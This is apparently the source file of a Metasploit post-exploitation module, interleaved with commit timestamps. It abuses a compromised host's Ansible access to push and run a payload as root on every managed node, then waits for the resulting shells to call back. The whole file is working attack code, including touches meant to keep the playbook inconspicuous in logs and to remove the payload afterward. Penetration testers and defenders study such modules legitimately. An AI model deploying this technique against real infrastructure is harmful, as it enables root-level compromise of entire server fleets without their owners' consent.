2023-12-16 07:16:26 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Local
Rank = GoodRanking
include Msf :: Post :: File
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
2023-12-24 11:49:27 -05:00
include Msf :: Exploit :: Local :: Ansible
2023-12-16 07:16:26 -05:00
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Ansible Agent Payload Deployer' ,
'Description' = > %q{
This exploit module creates an ansible module for deployment to nodes in the network.
2023-12-23 13:23:34 -05:00
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
2023-12-16 07:16:26 -05:00
targets which have been selected (default all).
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'h00die' , # msf module
'n0tty' # original PoC, analysis
] ,
'Platform' = > [ 'linux' ] ,
'Stance' = > Msf :: Exploit :: Stance :: Passive ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'SessionTypes' = > [ 'shell' , 'meterpreter' ] ,
'Targets' = > [ [ 'Auto' , { } ] ] ,
'Privileged' = > true ,
'References' = > [
[ 'URL' , 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh' ] ,
[ 'URL' , 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1' ] ,
] ,
'DisclosureDate' = > '2017-06-12' , # pwnsible script but prob way before that
'DefaultTarget' = > 0 ,
'Passive' = > true , # this allows us to get multiple shells calling home
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ CONFIG_CHANGES , ARTIFACTS_ON_DISK ]
}
)
)
2023-12-17 15:24:16 -05:00
register_options [
2023-12-16 07:16:26 -05:00
OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
OptString . new ( 'HOSTS' , [ true , 'Which ansible hosts to target' , 'all' ] ) ,
OptBool . new ( 'CALCULATE' , [ true , 'Calculate how many boxes will be attempted' , true ] ) ,
OptString . new ( 'TargetWritableDir' , [ true , 'A directory where we can write files on targets' , '/tmp' ] ) ,
2024-01-15 17:18:49 -05:00
OptInt . new ( 'ListenerTimeout' , [ true , 'The maximum number of seconds to wait for new sessions' , 60 ] )
2023-12-16 07:16:26 -05:00
]
end
def module_contents ( payload_name )
2023-12-23 13:23:34 -05:00
# The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.
" - name: #{ Rex :: Text . rand_text_numeric ( 3 .. 6 ) }
2023-12-16 07:16:26 -05:00
hosts: #{ datastore [ 'HOSTS' ] }
remote_user: root
tasks:
- name: 1
ansible.builtin.copy:
src: #{ datastore [ 'WritableDir' ] } / #{ payload_name }
dest: #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name }
- name: 2
ansible.builtin.file:
path: #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name }
owner: root
group: root
2023-12-23 13:23:34 -05:00
mode: '0700'
2023-12-16 07:16:26 -05:00
- name: 3
command: #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name }
2023-12-24 11:49:27 -05:00
- name: 4
file:
path: #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name }
state: absent
2023-12-16 07:16:26 -05:00
"
end
def check
2023-12-24 11:49:27 -05:00
return CheckCode :: Safe ( 'Ansible does not seem to be installed, unable to find ansible executable' ) if ansible_playbook_exe . nil?
2023-12-16 07:16:26 -05:00
2024-01-15 17:18:49 -05:00
CheckCode :: Appears ( 'ansible playbook executable found' )
2023-12-16 07:16:26 -05:00
end
2023-12-24 11:49:27 -05:00
def ping_hosts_print
results = ping_hosts
2024-01-10 17:16:57 -05:00
if results . nil?
print_error ( 'Unable to parse ping hosts results' )
return
end
2023-12-23 13:23:34 -05:00
2023-12-16 07:16:26 -05:00
columns = [ 'Host' , 'Status' , 'Ping' , 'Changed' ]
table = Rex :: Text :: Table . new ( 'Header' = > 'Ansible Pings' , 'Indent' = > 1 , 'Columns' = > columns )
2023-12-23 13:23:34 -05:00
count = 0
2023-12-24 11:49:27 -05:00
results . each do | match |
table << [ match [ 'host' ] , match [ 'status' ] , match [ 'ping' ] , match [ 'changed' ] ]
count += 1 if match [ 'ping' ] == 'pong'
2023-12-16 07:16:26 -05:00
end
print_good ( table . to_s ) unless table . rows . empty?
# give the user a few seconds to cancel if its too many etc
2023-12-23 13:23:34 -05:00
print_good ( " #{ count } ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds. " )
2023-12-16 07:16:26 -05:00
Rex . sleep ( 10 )
end
def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure :: BadConfig , " #{ datastore [ 'WritableDir' ] } is not writable " unless writable? datastore [ 'WritableDir' ]
2023-12-24 11:49:27 -05:00
ping_hosts_print if datastore [ 'CALCULATE' ]
2023-12-16 07:16:26 -05:00
payload_name = rand_text_alphanumeric ( 5 .. 10 )
module_name = rand_text_alphanumeric ( 5 .. 10 )
print_status ( 'Creating yaml job to execute' )
yaml_file = " #{ datastore [ 'WritableDir' ] } / #{ module_name } .yaml "
write_file ( yaml_file , module_contents ( payload_name ) )
register_file_for_cleanup ( yaml_file )
print_status ( 'Writing payload' )
upload_and_chmodx " #{ datastore [ 'WritableDir' ] } / #{ payload_name } " , generate_payload_exe
2023-12-24 11:49:27 -05:00
register_file_for_cleanup ( " #{ datastore [ 'WritableDir' ] } / #{ payload_name } " ) # cleanup payload on host, not targets
2023-12-16 07:16:26 -05:00
print_status ( 'Executing ansible job' )
2023-12-24 11:49:27 -05:00
resp = cmd_exec ( " #{ ansible_playbook_exe } #{ yaml_file } " )
2023-12-23 13:23:34 -05:00
playbook_log = store_loot ( 'ansible.playbook.log' , 'text/plain' , session , resp , 'ansible.playbook.log' , 'Ansible playbook log' )
print_good ( " Stored run logs to: #{ playbook_log } " )
2023-12-16 07:16:26 -05:00
# stolen from exploit/multi/handler
stime = Time . now . to_f
timeout = datastore [ 'ListenerTimeout' ] . to_i
loop do
break if timeout > 0 && ( stime + timeout < Time . now . to_f )
Rex :: ThreadSafe . sleep ( 1 )
end
end
end